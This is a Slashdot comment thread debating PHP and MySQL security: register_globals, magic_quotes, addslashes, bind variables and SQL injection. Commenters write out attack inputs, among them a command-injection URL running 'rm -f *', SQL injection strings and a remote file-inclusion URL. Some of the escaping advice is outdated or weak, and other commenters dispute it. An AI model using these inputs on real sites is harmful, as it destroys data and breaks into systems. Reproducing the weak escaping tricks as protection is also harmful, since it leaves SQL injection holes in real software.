      Say you put that up as date.php and I come to that page and click on the link. My browser will display date.php?command=date in the location. Being a smarty, I'll try this to see if it works: date.php?command=uptime . Given your simple scripting, it will. Being malicious, I'll try this: date.php?command=rm+-f+* and you can say goodbye to all the files in your current directory that your web server has write access to.--Oh, the joys of letting random strangers run arbitrary commands on your web server!

      Note: If the rm -f * didn't work that way, I could always try escaping the - and the * and even adding the r option to descend into subdirectories, or add a / to blow away your whole machine. I hope your web server doesn't run as root!

      --
      Just be sure to wear the gold uniform when you beam down -- you know what happens when you wear the red one.
    7. Re:Should I submit this one? by Finuvir · · Score: 2, Funny

      Obviously you've been on slashdot too long to understand humour any more...

      --
      Why is anything anything?
    8. Re:Should I submit this one? by pacman+on+prozac · · Score: 1

      To be honest that will only affect people who haven't bothered reading any docs or upgrading any software in the last three years and still run PHP with register_globals turned on.

      Whether it be Perl, .NET, Java or whatever your choice of web-*. If you don't upgrade it for years or you run with stupid insecure settings that only 3-year-old scripts need then you can expect shit.

      (you arent the same guy that coded phpnuke by any chance?)

    9. Re:Should I submit this one? by panda · · Score: 1

      Obviously you've been on slashdot too long to understand humour any more...

      Yeah, obviously....

      --
      Just be sure to wear the gold uniform when you beam down -- you know what happens when you wear the red one.
  7. magic_quotes by ftzdomino · · Score: 5, Funny

    You could also enable magic_quotes in your php.ini. However, if you\'re too dumb to know the basics of sql, chances are your program won\'t work quite right.

    1. Re:magic_quotes by TravisWatkins · · Score: 1

      You could, but then you piss off all the real programmers on the server who use addslashes() when they need to. ; SELECT * FROM users WHERE id = 1

      --

      "But I'm still right here, giving blood and keeping faith. And I'm still right here."
    2. Re:magic_quotes by solidox · · Score: 1

      providing you addslashes before entering and stripslashes after reading from db then it'll be fine whether it's on or off.

      --
    3. Re:magic_quotes by ArsenneLupin · · Score: 1, Informative
      gpc_magic_quotes is intended to protect the novice, non-security aware user. Of course, it will garble the data, but at least it protects the site from being hacked.

      Once our novice gets more knowledgeable, he can convince his admin to remove gpc_magic_quotes setting from his VirtualHost, and use addslashes , instead, which allows finer grained operation.

      That way, Peter O'Neill can register with his true name in his Php app.

    4. Re:magic_quotes by TravisWatkins · · Score: 1

      Hmm, seems it does now. That was a big problem last time I had to deal with it. I guess enough people complained.

      --

      "But I'm still right here, giving blood and keeping faith. And I'm still right here."
    5. Re:magic_quotes by ArsenneLupin · · Score: 2, Informative
      You could, but then you piss off all the real programmers on the server who use addslashes() when they need to

      That's why you can enable/disable this setting on a per virtual host or per directory base.

      Leave it enabled from the numbnuts who come straight from the Windows world and can't be bothered about security, and disable it for the more experienced programmers.

      <Directory "/home/site/numbnut">
      php_flag magic_quotes_gpc on
      </Directory>

      <Directory "/home/site/leet_penguin_master">
      php_flag magic_quotes_gpc off
      </Directory>

    6. Re:magic_quotes by prockcore · · Score: 1

      providing you addslashes before entering and stripslashes after reading from db then it'll be fine whether it's on or off.

      Um, no. If you have magic_quotes turned on, and you addslashes() on $_GET or $_POST var, you\\\'ll get a lot of extra slashes. And stripslashes() will only remove one level of slashes.

      In order to write a script that doesn't care whether or not magic_quotes is on, you have to do stupid crap like: $myvar=addslashes(stripslashes($myvar)); before you insert it into the database.

    7. Re:magic_quotes by solidox · · Score: 1
      not quite, mysql (dunno about other dbs) will return unescaped strings.
      take the string "hel'lo"
      with magic quotes it'll be "hel\'lo"
      then read it back, it will come back as "hel'lo"
      so, assuming you addslashes/mysql_Escape_string first:
      insert addslashes("hel\'lo") ["hel\\\'lo"]
      (stored internally and read back as "hel\'lo")
      read stripslashes("hel\'lo") ["hel'lo"]

      first case:
      mysql> SELECT 'hel\'lo';
      +--------+
      | hel'lo |
      +--------+
      1 row in set (0.00 sec)
      second:
      do addslashes first.
      mysql> SELECT 'hel\\\'lo';
      +---------+
      | hel\'lo |
      +---------+
      1 row in set (0.00 sec)
      do stripslashes on the result.
      and we end up with "hel'lo".

      so there we go :)
      --
    8. Re:magic_quotes by drew · · Score: 2, Interesting

      that might be a good solution if it was the right way to escape quotes in most databases. what databases use \' other than mysql? in my experience, the correct way to escape a ' on oracle, ms sql, sybase, postgresql, etc. is ''. this drives me crazy at work, because for some unknown reason, we actually have magic_quotes enabled, so i have to strip_slashes, _and_ properly escape my quotes. grr....

      at least with PEAR::DB now, i can finally do:
      $db->query(select * from foo where a = ?", $a)
      and not worry about it- the way it should have been all along.

      --
      If I don't put anything here, will anyone recognize me anymore?
    9. Re:magic_quotes by TravisWatkins · · Score: 1

      Not even that, stripslashes() takes out all the extras for you, or at least appears to. echo addslashes("This isn\'t bad for you"); This isn\\\'t bad for you echo stripslashes("This isn\\\'t bad for you"); This isn't bad for you

      --

      "But I'm still right here, giving blood and keeping faith. And I'm still right here."
    10. Re:magic_quotes by prockcore · · Score: 1

      echo stripslashes("This isn\\\'t bad for you"); This isn't bad for you

      What version of php is that? php 4.3 prints out This isn\'t bad for you.

      As far as the mysql slashing goes, he's right, doing an addslashes into mysql and a stripslashes when it comes out would work reguardless of magic_quotes_gpc.

      It's still as ugly a hack as my nested slash example, and the best solution is still to just turn off magic_quotes_gpc.

    11. Re:magic_quotes by Anonymous Coward · · Score: 0

      Actually, \' is acceptable for postgresql as well.

    12. Re:magic_quotes by Sepodati · · Score: 1

      Enable magic_quotes_sybase and a double quote will be used instead of a slash.

      ---John Holmes...

    13. Re:magic_quotes by Sepodati · · Score: 1

      You don't need to strip slashes from data coming _from_ a database unless you by some chance have magic_quotes_runtime enabled. If you find yourself having to strip slashes from your database data (or actually see slashes inside your database), then you're running addslashes() twice (probably once with magic_quotes and once yourself).

      ---John Holmes...

    14. Re:magic_quotes by gnu-generation-one · · Score: 1

      "However, if you\'re too dumb to know the basics of sql, chances are your program won\'t work quite right."

      Have you ever posted a question on MandrakeForums? They seem to have the magic quotes down to a tee.

      I\\\\\\\\\'ve often wondered why they take such care.

    15. Re:magic_quotes by drew · · Score: 1

      i am aware of magic_quotes_sybase, but even if the data is escaped properly, i'm mainly just against the idea of php auto-munging my variables.

      if you have sybase magic quotes turned on, then your code will be wrong on mysql. i know that sounds nit-picky, but i have worked on projects before where i had to track data in both oracle and mysql databases. if you use bind variables in your sql statements, (as i demonstrated in my previous post) you shouldn't even have to worry about which database you're trying to escape data for, which is the way it should be.

      --
      If I don't put anything here, will anyone recognize me anymore?
  8. I can't take a security sight seriously that... by bbzzdd · · Score: 5, Funny

    uses MS Comic font for their articles. Sorry.

    1. Re:I can't take a security sight seriously that... by enrico_suave · · Score: 3, Interesting

      or even a security site =) but I agree, totally.

      and to boot are they running php as a CGI instead of a module?

      *shrug*

      e.

      --
      Build Your Own PVR/HTPC news, reviews, &
    2. Re:I can't take a security sight seriously that... by daeley · · Score: 5, Funny

      Never mind that, they're using a tag to achieve it! The horror! ;)

      --
      I watched C-beams glitter in the dark near the Tannhauser gate.
    3. Re:I can't take a security sight seriously that... by bbzzdd · · Score: 1

      Yeah I caught the spelling mistake after I hit post, oops :)

    4. Re:I can't take a security sight seriously that... by Anonymous Coward · · Score: 0

      I quite agree. This site is laughable at best. It has dead links and spelling errors, and not much real content.

      I was hoping for a walkthrough of dos and don'ts in PHP/MySQL, but there's only a small introductory PHP text -- as far as I could find, before the awful design made me leave the site.

      Then there's the empty forum and the not-so-well-thought-out monthly challenge. And the site navigation made me dizzy.

      Why bother?

    5. Re:I can't take a security sight seriously that... by illtud · · Score: 1

      uses MS Comic font for their articles. Sorry.

      Right on, brother. Join us now!

    6. Re:I can't take a security sight seriously that... by Anonymous Coward · · Score: 0

      You can make PHP more secure as a CGI than as a module. The module is dynamically linked into the Apache executable at runtime, and it's really hard to get it to do something suEXEC-like, and run with a user that doesn't have access to every single Web site on the server. Running PHP as CGI makes this sort of thing trivial. Overall, I think PHP's current design is somewhat broken security-wise; even if you write a crappy script, the amount of damage it can do to your system should be minimizable by running it in a locked down mode somehow. The mod_php solution doesn't make that very easy.

    7. Re:I can't take a security sight seriously that... by bedessen · · Score: 1
      You are correct, even though you were being funny. This person has no idea what he's talking about. On a site that's supposed to be about PHP security, let's look at one of his examples in his "tutorials" (which are terrible):
      <?php
      $name = $_POST['name'];
      if ($submit) {

      echo "Hello ".$name." Welcome to My World";

      } else{
      ?>
      <form method="post" action="<?php echo $PHP_SELF?>">
      <h1 align="center">Welcome to My World</h1>
      <p align="left">Company Name:
      <input name="Name:" type="text" id="name">
      <input type="submit" name="Submit" value="Submit">
      </form>
      <?php
      }
      ?>
      Now let's see, in this simple example what do we have:

      - Reliance on register_globals turned ON. The PHP developers made a huge mistake by leaving this the default as long as they did, but fortunately they changed it to OFF by default some time ago. It is an abomination, and a script that requires it is just asking for XSS or SQL injection vulerabilities. This above example both relies on $submit being automatically registered, as well as using its value without any kind of validation! That's simply inexcusable.

      - But far worse, he outputs $name with absolutely no quoting! HELLO! at the very least run htmlspecialchars() over it, otherwise this script is totally open to abuse.

      I cannot take seriously any site that is ostensibly about PHP security and has an example like this in their pathetic tutorials. Some of ther other tutorials include "the magic of the echo command". Wow, thanks for that. Let's leave the "Introduction to PHP basics" to the authors that are paid to write, okay?
  9. PHP is as secure as you make it by kyndig · · Score: 4, Insightful

    Your scripts are only as secured as you make them. What this "UBERHACK" website is simply doing is sending a flock of young script junkies out to locate sites which have not implemented a good code structure.

    PHP documentation clearly states the pitfalls of using variables in a global scope. It is for this reason that PHP changed its GLOBAL array structure to read $_POST and $_GET methods, as well as default setting register_globals to off.

    I find it a poor use of a developers time to attempt to see whose site they can deface. It is imoral and shows a lack of respect for those whom put countless hours into their site development.

    I would challenge "UBERHACKER" to spend more time developing their website which is showing to be in poor syntatical use of HTML, slow loading and poor in URL design. Why run a php scritp in a /cgi-bin/ do you feel more secure by doing so? The ScriptAlias which you most probably have set for this directory will in no way prevent malicious intent from remote connections if your php is not properly configured for base_directories, register_globals, and safe_mode.

    http://uberhacker.com/cgi-bin/index.php?page=fla b
    Pick up any book on programming and learn proper developmental tactics ( Throw / Catch ) before promoting the attack of others because your 'Uber' site thinks it can't be Hax0r3d.

    End Rant.

    --
    My Thoughts, Kyndig
    1. Re:PHP is as secure as you make it by Anonymous Coward · · Score: 0

      Oh, and the next time an exploit of MSIE comes about, I'm sure you'll be heard saying that reproducing the exploit in neat code for all young script-kiddies to abuse, is _necessary_ to keep Redmond on its toes.

      It's this simple; you believe in security through obscurity; I believe in security through defensive coding, testing, and breaking if necessary. php allows you to code naively and therefore, should come packaged _closed_ instead of open, as it is now. Or if it comes packaged open, it should fill your httpd error log with annoying messages indicative of the state of sloppy mess that some people call programming until you make it safe.

    2. Re:PHP is as secure as you make it by CaptainTux · · Score: 2, Insightful
      Those who put countless hours into site development and yet leave it easily hacked are not deserving of our respect!

      Last time I checked, PERSONAL morals and ethics weren't defined by the actions of others or whether you "respected" someone or not. You're either moral or not. Nobody can "earn" your morality.

      --
      Anthony Papillion
      Advanced Data Concepts, Inc.
      "Quality Custom Software and IT Services"
    3. Re:PHP is as secure as you make it by kyndig · · Score: 2, Insightful

      There is a responsible aproach, and an irresponsable aproach. The responsible thing to do is if you are reviewing code, or a website and locate a falacy which could be considered a security concern; you notify the individual or group.

      What this site is promoting is the Defacement of a website. They further go to provide script security tips which have no relevance in any way to good program practices. Quite frankly, I am suprised this topic made it to /. It apears to be nothing more than an advertisement for a poorly designed and thought out website.

      --
      My Thoughts, Kyndig
    4. Re:PHP is as secure as you make it by Anonymous Coward · · Score: 0

      I did not address the morality of the issue; only the issue of respect.

      And I stand by what I said: if they spent countless hours on a website but spent so little time on security aspects that the site is easily hacked, then, no, they are not deserving of any respect!

      Nobody can "earn" your morality.

      But they can earn my respect. I just stated how!

    5. Re:PHP is as secure as you make it by Anonymous Coward · · Score: 0

      Troll? This was modded troll?

      Three points:
      1. those who are tempted to hack websites are NOT going to stop because they respect the amount of time and effort that went into development.
      2. If someone did put countless hours into site development but spent so little time on security issues that it is easily hacked (note that these are the original poster's words), then they don't deserve any respect!
      3. and anybody that marks this troll because I implied that respect for craft should involve all aspects of that craft (including security) is certainly no one that I want working on my company's web-site!

    6. Re:PHP is as secure as you make it by kyndig · · Score: 1

      Just to make a quick clarification. I fully understand your issue with "spending countless hours" developing a site, yet not focusing on security concerns. For those whom do not focus on security, their sites will eventually reflect the lack of security concern through any number of common worms, viruses, or just those UBER hacker sites out there. The point of the statement was not to refer that an individual is spending countless hours on code, and none on security. The point of the statment is the individual has spent countless hours on code work (period). Wether they have implemented a good security, or not is fully irrelevant, and should not in any way detract from the fact that the individual put their own time and effort into a project.

      I certainly am not one for the "lets all get along" aproach. Yet I do uphold the "do unto others as you would have them do unto you". The focus on 'spending hours on code' and none on security is a parallel which you drew out yourself. This was not the intention or direction of that statement. =)

      --
      My Thoughts, Kyndig
    7. Re:PHP is as secure as you make it by Monkeyman334 · · Score: 1

      GET and POST doesn't help some stupid programming. For example, when PHP Nuke decided a cool feature would be to have the main template include files like news and forum. To use those you just did file=news.php. That's kinda stupid already. Then, PHP added support for opening sockets with include, so all you had to do was do file=http://myserver.com/hacks.php which made system calls. Now you're a local (but not interactive) user. Which is a lot closer to getting broken into. And stupid. That's what I'm getting at, there's a lot of stupid programmers out there.

    8. Re:PHP is as secure as you make it by Anonymous Coward · · Score: 0

      Why run a php scritp in a /cgi-bin/ do you feel more secure by doing so? The ScriptAlias which you most probably have set for this directory will in no way prevent malicious intent from remote connections if your php is not properly configured for base_directories, register_globals, and safe_mode.

      Running PHP as a CGI enables you to execute them scripts with a different user than the webserver. This way you can implement more restrictions on the script - ulimit comes to mind...

    9. Re:PHP is as secure as you make it by Anonymous Coward · · Score: 0

      [heavy sigh]

      Read the original post:
      Your scripts are only as secured as you make them. What this "UBERHACK" website is simply doing is sending a flock of young script junkies out to locate sites which have not implemented a good code structure.

      PHP documentation clearly states the pitfalls of using variables in a global scope. It is for this reason that PHP changed its GLOBAL array structure to read $_POST and $_GET methods, as well as default setting register_globals to off.

      Pick up any book on programming and learn proper developmental tactics ( Throw / Catch ) before promoting the attack of others because your 'Uber' site thinks it can't be Hax0r3d.

      Does it not sound like he is denigrating people for not learning enough to implement good security?

      Now, yes, The focus on 'spending hours on code' and none on security is a parallel which you drew out yourself. Because I thot it ironic that this poster would lambaste people for not informing themselves well enough to implement "good code structure", avoid "the pitfalls of using variables in a global scope" and then turn around and say that it shows no respect for the developer's hard work when script kiddies exploit those very things!

      Sheeesh! and for all this I get modded troll. Fuck /. the intelligence level is dropping quite quickly now!

    10. Re:PHP is as secure as you make it by Dozix007 · · Score: 1

      First off, register_globals is commonly used by the PHP coding community. It is a very usefull tool, and a very dangerous one. I impliment it on the site because it IS used widley. You can't simply ignore it. The reason why /cgi-bin/ is used is due to the server design, not the specific scripting. Rember, assumptions make an ass out of you and me.

    11. Re:PHP is as secure as you make it by rofthorax · · Score: 1

      Well if there were no hackers, there would be no reason for security.. Even the bible says "why store up treasures while thieves can steal them"..

      Anyhow, apart from the bible lesson.. What I think is bad is all teh wannabe hackers that see this as cool and waste a lot of Internet bandwidth on hacking sites thinking that they will get some kind of treasure or soemthing cool.. A good solution for some companie I would think is to put a lot of fake IP's on the net with fake servers that are designed to make "hackers happy" and then trace back the hackers once they enter the wrong door..

      There are too many ways to keep hackers out that way. The number one way to hack is from the inside out.. Like getting someone stupid on the inside to execute something that tries to access the Internet.. The best Internet security is security from teh Internet (removing the computer from the Internet altogether).. Keeps your employees from wasting a lot of time connecting to the Internet, the hackers never get in (unless by sneakernet)..

      --
      Just say no to license servers!!
  10. C'mon, Drop the FUD by da3dAlus · · Score: 4, Insightful

    There is no trully unsecure language, only programmers that practice building unsecure sites. Bugs and security holes can always be patched, but if the site is crap to begin with, then that's just asking for trouble. You should always check user input, esp if you plan to use said input as part of a SQL query or entry. Duh.

    --

    Sometimes I doubt your commitment to Sparkle Motion.
    1. Re:C'mon, Drop the FUD by Anonymous Coward · · Score: 0
      "There is no trully unsecure language"

      There are extremely poor spelling and incorrect word choices, however.

  11. What about Windows? by goldspider · · Score: 0, Troll

    If you're going to make that argument (which, BTW, I think is accurate), then you'd better be prepared to say that Windows isn't inherantly insecure as well. You can't blame the platform for the sloppy coding of others who write apps for it, under ANY circumstance.

    --
    "Ask not what your country can do for you." --John F. Kennedy
  12. Blame should be shared between coder and language by Sanity · · Score: 1, Informative
    Languages which encourage the mixing of code and data make it extremely easy to write insecure code, and no programmer is immune to bugs. Yes, the coder is to blame, but so is the language.

    SQL is probably the most widespread example of this, closely followed by regular expressions in Perl. I am often amazed that more people aren't working towards programatic ways to express SQL queries and/or regular expressions (attempts exist for both, but rarely make much progress).

  13. Re:Blame should be shared between coder and langua by NineNine · · Score: 2, Insightful

    I am often amazed that more people aren't working towards programatic ways to express SQL queries and/or regular expressions

    They're called stored procedures. They've existed for at least 20 years.

  14. Bind variables by ArsenneLupin · · Score: 3, Insightful
    Actually, bind variables help much more than object oriented programming.

    Writing al=execute_query("SELECT access_level FROM user WHERE user=? AND password=?", user, password) is naturally so much more secure than al=execute_query("SELECT access_level FROM user WHERE user='"+user+"' AND password='"+password+"'");

    Nowadays, most database products worth their salt (Oracle, Postgresql, and even my Mysql!) support bind variables. And even if you have an old version of Mysql (which doesn't support them), Perl DBI and Php PEAR can emulate bind variables for you.

    Of course, if you're stuck with ASP and Sequel Sewer, you're somewhat out of luck, and need to do the proper quote escaping yourself.

    1. Re:Bind variables by BitchAss · · Score: 1

      If you were using SQL Server, you'd use ADO instead of SQL strings. That really is one thing I miss about mySQL and it's ilk.

      --
      Like sex? Read and write about it! Indecent Blogging
    2. Re:Bind variables by fungus · · Score: 2, Informative

      Not only bind variables are more secure, but they also increase database performance where it counts.

      Bind variables permit databases to match a query with cached queries even if parameters are different. It will then be able to fetch the appropriate execution plan instead of making a new one for each similar request.

    3. Re:Bind variables by ArsenneLupin · · Score: 1

      If this is so easy to secure ASP, why then are there so many SQL injectionable ASP websites around?

    4. Re:Bind variables by mal3 · · Score: 1

      If it's so easy to use BIND variables why are there so many SQL injectionable PHP websites around?

      --
      Non gratis rodentus anus
    5. Re:Bind variables by ArsenneLupin · · Score: 1
      If it's so easy to use BIND variables why are there so many SQL injectionable PHP websites around?

      Care to cite an example? Just one... Or a successful exploit/defacement?

    6. Re:Bind variables by mal3 · · Score: 2, Interesting

      Not really, but given the content of the article I assume it's a problem.

      I don't doubt there may be more examples of bad ASP in the wild, but that has more to do with developer skills than anything else. PHP developers as a whole are probably more skilled than their MS counterparts. That's not the fault of the language though, and it's certainly not the fault of the RDBMS. ASP against any other database server would be just as bad.

      Why do you hate SQL Server so much?

      Here's an example of "Bind variables" courtesy of MS. Not what I'd call hard, but it is a little more involved than your example above. JSP does it in much the same way.

      Dim cn As New ADODB.Connection
      Dim cmdPrep1 As New ADODB.Command
      Dim prm1 As New ADODB.Parameter
      Dim prm2 As New ADODB.Parameter
      Dim strCn As String

      strCn = "Server=MyServerName;Database=pubs;Trusted_Connect ion=yes"
      cn.Provider = "sqloledb"
      cn.Open strCn
      Set cmdPrep1.ActiveConnection = cn
      cmdPrep1.CommandText = "UPDATE titles SET type=? WHERE title_id =?"
      cmdPrep1.CommandType = adCmdText
      cmdPrep1.Prepared = True

      Set prm1 = cmdPrep1.CreateParameter("Type", adChar, adParamInput, 12, "New Bus")
      cmdPrep1.Parameters.Append prm1

      Set prm2 = cmdPrep1.CreateParameter("ProductID", adInteger, adParamInput, 4, 3)
      cmdPrep1.Parameters.Append prm2

      cmdPrep1.Execute

      cn.Close

      --
      Non gratis rodentus anus
  15. MySQL is not SQL by leandrod · · Score: 3, Insightful

    When will /. stop posting misinformation?

    SQL is a language, defined by ISO. MySQL is not SQL-compliant. Not even Oracle is. IBM DB2, PostgreSQL are SQL compliant, and a lot better than MySQL too. PostgreSQL is even faster and simpler.

    --
    Leandro Guimarães Faria Corcete DUTRA
    DA, DBA, SysAdmin, Data Modeller
    GNU Project, Debian GNU/Lin
    1. Re:MySQL is not SQL by slamb · · Score: 1
      SQL is a language, defined by ISO. MySQL is not SQL-compliant. Not even Oracle is. IBM DB2, PostgreSQL are SQL compliant, and a lot better than MySQL too. PostgreSQL is even faster and simpler.

      PostgreSQL is not SQL compliant, either. It's much closer than MySQL, but it's not compliant. There's a few deviations here: PostgreSQL Gotchas. In addition to those, the quoting of SQL literals and identifiers is non-standard. It accepts \ as an escape character. (Try feeding \' to code that quotes it for PostgreSQL/MySQL and then feeds it to a database that quotes in the standard way. Or vice versa. It will break.)

      To the best of my knowledge, there are no databases fully compliant to the SQL standard. But several are close enough under most circumstances.

    2. Re:MySQL is not SQL by leandrod · · Score: 1
      > There's a few deviations here: PostgreSQL Gotchas

      Thanks for the link!

      Still PostgreSQL is much more compliant than MySQL, Oracle or SQL Server. Well-written ISO SQL code will usually work just OK on PostgreSQL, and PostgreSQL code will usually work just OK on, say, DB2 or Interbase. MySQL, SQL Server or Oracle code has to be extensively reworked, and even Emacs' replace-regexp can't always avoid manual intervention.

      > there are no databases fully compliant to the SQL standard

      Last time I checked, IBM DB2 was fairly near, with PostgreSQL a close second, Interbase third.

      --
      Leandro Guimarães Faria Corcete DUTRA
      DA, DBA, SysAdmin, Data Modeller
      GNU Project, Debian GNU/Lin
    3. Re:MySQL is not SQL by slamb · · Score: 1
      Still PostgreSQL is much more compliant than MySQL, Oracle or SQL Server. Well-written ISO SQL code will usually work just OK on PostgreSQL, and PostgreSQL code will usually work just OK on, say, DB2 or Interbase. MySQL, SQL Server or Oracle code has to be extensively reworked, and even Emacs' replace-regexp can't always avoid manual intervention.

      Have you seen Oracle 9i? It's much better than its predecessors. It accepts SQL-92 joins. (The weird (+) outer joins are deprecated.) coalesce (nvl is deprecated). They've had case since 8i (decode is deprecated). Lots of other standards-compliant goodies. So if you're writing for 9i, you should be able to exchange SQL with other databases fairly easily.

      Of course, Oracle 9i still accepts the older syntax. So it's possible to write queries for it that are very nonstandard. And you're likely to see them for a while yet - it takes time for people to phase out old databases and change their habits.

    4. Re:MySQL is not SQL by leandrod · · Score: 1
      > Have you seen Oracle 9i?

      I've had the displeasure... always more and more bloated and complex.

      > It's much better than its predecessors.

      It is like saying MS WXP is better than MS-DOS. True, but not enough.

      > if you're writing for 9i, you should be able to exchange SQL with other databases fairly easily.

      Not true at all. Lots of quirks -- datatypes, for example -- and omissions -- DOMAINs, userless SCHEMAs.

      --
      Leandro Guimarães Faria Corcete DUTRA
      DA, DBA, SysAdmin, Data Modeller
      GNU Project, Debian GNU/Lin
    5. Re:MySQL is not SQL by Anonymous Coward · · Score: 0

      How does this dipshit, offtopic comment get rated a 3???????

    6. Re:MySQL is not SQL by Stercus+Fit · · Score: 1

      You could pretty easily argue that SQL itself has the same tendencies to be exploitable as PHP. This might have been the point. If you ask me, a quoted-string interface to data storage is begging for trouble from the start. Buffers with byte counts would be better in many (I think most/all) ways.

      --
      Lurk.
    7. Re:MySQL is not SQL by leandrod · · Score: 1
      > You could pretty easily argue that SQL itself has the same tendencies to be exploitable as PHP

      Only you'd be wrong. SQL is a data sublanguage, and has nothing to do with networking or access control or buffer overflows.

      > a quoted-string interface to data storage is begging for trouble from the start

      Again, this might be MySQL, but it certainly ain't SQL. SQL defines a binary wire interface which name I forget, something like CLI for call-level interface.

      --
      Leandro Guimarães Faria Corcete DUTRA
      DA, DBA, SysAdmin, Data Modeller
      GNU Project, Debian GNU/Lin
  16. Re:No. Mod Parent Up by Anonymous Coward · · Score: 1, Insightful

    This is exactly right. GET, POST, or COOKIE data? It's all equally dangerous. Anybody have firefox and the web developer extension? Try displaying form details and change some post inputs. Or just use javascript in the url to alter the form at will.

  17. Guides to Secure Programming? by JumboMessiah · · Score: 5, Informative

    Other than the scripting challenge, what's on this site? I've read the guides to hacking, but it's all a bunch of kindergarden material. Seems if you follow the guides you'll certainly have insecure PHP scripts with all kinds of SQL injection. How about posting some real articles on secure PHP scripting...

    1. Re:Guides to Secure Programming? by shiflett · · Score: 4, Informative

      I have a few articles on my Web site that might be informative: http://shiflett.org/articles

      I'm also writing a monthly PHP security column in php|architect, and these articles will be available for free six months after publication.

      Lastly, I am writing PHP Security for O'Reilly, which is due out in the fall.

    2. Re:Guides to Secure Programming? by Sepodati · · Score: 1

      So how is that book coming along, btw?? ;)

      ---John Holmes...

  18. Re: cutting off an arm by sczimme · · Score: 5, Interesting


    Or would you blame the workman who cuts off his arm with the buzz saw's totally unprotected blade?

    Yes, I would: he was obviously doing something with the saw that was inappropriate; what saw-oriented task [when done correctly] involves waving it at one's own arm?* The fact that the blade was unprotected is irrelevant since he should have known it was unprotected and therefore dangerous. All tools can be used stupidly, and oddly enough the results really can be the fault of the operator. It is also possible for fault to lie in more than one area.

    Yes, I know the traditional definition of 'hacking' includes making $ITEM do something it was not intended to do, but there are limits.

    * I'm guessing that 'buzz-saw' == 'circular saw'.

    --
    I want to drag this out as long as possible. Bring me my protractor.
  19. General purpose ... by zonix · · Score: 1
    Why would you use $_REQUEST?

    If you need general purpose functions etc., I'd imagine it could be beneficial to have them just use $_REQUEST.

    You can then let your particular frontend deal with where the values came from (get/post), and sanitize the data there. Afterwards the values will be available via $_REQUEST.

    Of course you could also pass the sanitized data to the functions as parameters, with no need for $_REQUEST. As always, YMMV.

    z
    --
    What would an EWOULDBLOCK block, if an EWOULDBLOCK could block would? -- me
  20. The worst I ever saw by DamienMcKenna · · Score: 1



    The worst practice I ever saw was making the global variables local scope using the extract() function, in... every... single... file... especially the security login files - its almost like register_globals and v4.1 never happened.

    Then again this is the same person who insisted in using the $array[key] array syntax which was never the correct way of doing to start with.

    And this was the supergenius hired to replace me. Fun city. Glad I don't work there anymore.

    </mode>

    Damien

  21. Part 2: Taking and Using Data by tokul · · Score: 1

    Notice: Undefined index: name in example.php on line 2

    Notice: Undefined variable: submit in example.php on line 3

  22. 404d! by michael+path · · Score: 5, Funny

    Maybe someone can write a PHP script to take care of the 404 error that occurs when you click on the "home" link on Uberhacker.com.

    Bad Design Überalles.

  23. Yes by Anonymous Coward · · Score: 0

    Purification of incoming data is essential

    Then why doesn't the language do it by default?

    If you need the unfiltered data, you should be forced to jump though at least one hoop to get it.

    Take RXML for example. By default, all user-supplied data is encoded, unless you explicitly say that you want the raw format. That way, novice script writers don't get bitten by it.

    1. Re:Yes by Anonymous Coward · · Score: 0

      Well that's basically what register_globals does, and PHP is constantly insulted for that feature. I agree with the insults too; register_globals was a cop-out and should never have been the default setting. The ends do not justify the means.

      As for purifying the content... can't be done, of course. Any content could be dangerous, depending on how you write your program.

    2. Re:Yes by Anonymous Coward · · Score: 0

      Erm, I meant magic_quotes_gpc, not register_globals. Doh!

  24. Re:Blame should be shared between coder and langua by Sanity · · Score: 1
    They're called stored procedures. They've existed for at least 20 years.
    No they aren't. Stored procedures still require SQL code to be embedded in the client code - and therefore still requires the mixing of code and data.
  25. SQL injection 101 ... by zonix · · Score: 4, Funny

    People! Remember the quotes! Do:

    delete from table where id = '$var'

    Not:

    delete from table where id = $var

    Try for $var = "10 and id = 11 and id = 12 ...".

    z
    --
    What would an EWOULDBLOCK block, if an EWOULDBLOCK could block would? -- me
    1. Re:SQL injection 101 ... by Anonymous Coward · · Score: 0

      What about $var = "10' and id = '11' and id = '12" ?

      Adding quotes is not enough, you should escape all quotes within $var.

    2. Re:SQL injection 101 ... by p3d0 · · Score: 2, Informative

      That's exactly the kind of crappy code that makes web sites insecure. If $var includes the right apostrophes, then an attacker can execute pretty much arbitrary SQL code.

      --
      Patrick Doyle
      I mod down every jackass who puts his moderation policy in his sig. Oh, wait a sec....
    3. Re:SQL injection 101 ... by Dreadlord · · Score: 1

      For integers:
      $id = intval($_GET['id']);

      for strings:
      $text = addslashes($_POST['text']);
      Calling substr to limit the string's length isn't a bad idea either.

      And use quotes for queries as the parent suggests.

      How hard is it to validate input?

      I usually use an input validation layer, I don't access $_GET/$_POST/... arrays in my scripts, I use a class that automatically validates variables.

      --
      The IT section color scheme sucks.
    4. Re:SQL injection 101 ... by goon+america · · Score: 1
      One way to fix this:

      $var = (int) $var;

      when you know you want an integer only. if you really want

      if (!is_numeric($var)) die("Unsafe value");

      Security is easy, can be done in only an extra line of code. And it helps you debug!

    5. Re:SQL injection 101 ... by phallstrom · · Score: 1

      Um... but if id is an integer won't your first line fail completely?

      And if id is a string, what happens if I do...

      $var = "x' or id = '10"

      That wouldn't do what you wanted either....

      You really need to *clean* $var to only contain what you want it to contain... just wrapping it in quotes isn't good enough...

    6. Re:SQL injection 101 ... by aftk2 · · Score: 1

      Um... but if id is an integer won't your first line fail completely?

      Actually, it won't - at least not in MySQL. Even if your ID column is some kind of an INT column, putting single or double quotes around the ID into the SQL script will run without any error in MySQL - even from the command line.

      --
      concrete5: a cms made for marketing, but strong enough for geeks.
    7. Re:SQL injection 101 ... by Anonymous Coward · · Score: 0

      If id is an integer:
      update blah set id='45' *will* work with mySQL at least from my experience.

    8. Re:SQL injection 101 ... by h3 · · Score: 1

      Try for $var = "10 and id = 11 and id = 12 ...".


      Too much work - try for $var = "10 or true" :)

      -h3
    9. Re:SQL injection 101 ... by tetranz · · Score: 1

      Escape and enclose in quotes.

      "delete from table where id = '" . mysql_escape_string($var) . "'"

      I think that's safe.

    10. Re:SQL injection 101 ... by Sepodati · · Score: 1

      Why would you put quotes around an integer? If the "id" column is a numeric column, then you _validate_ $var to make sure it's a number. Then you issue the query without quotes and it's still safe.

      Getting in the habit of putting quotes around every value regardless of whether it's a string or not is just going to get you into trouble when you switch databases.

      ---John Holmes...

    11. Re:SQL injection 101 ... by p3d0 · · Score: 1

      Oh man I think I got trolled.

      --
      Patrick Doyle
      I mod down every jackass who puts his moderation policy in his sig. Oh, wait a sec....
    12. Re:SQL injection 101 ... by zonix · · Score: 1

      Heh, but of course! :-)

      Anyway, best to still treat all input as tainted (the Perl way) and regexp match for what is expected; bail out if anything weird is encountered.

      z
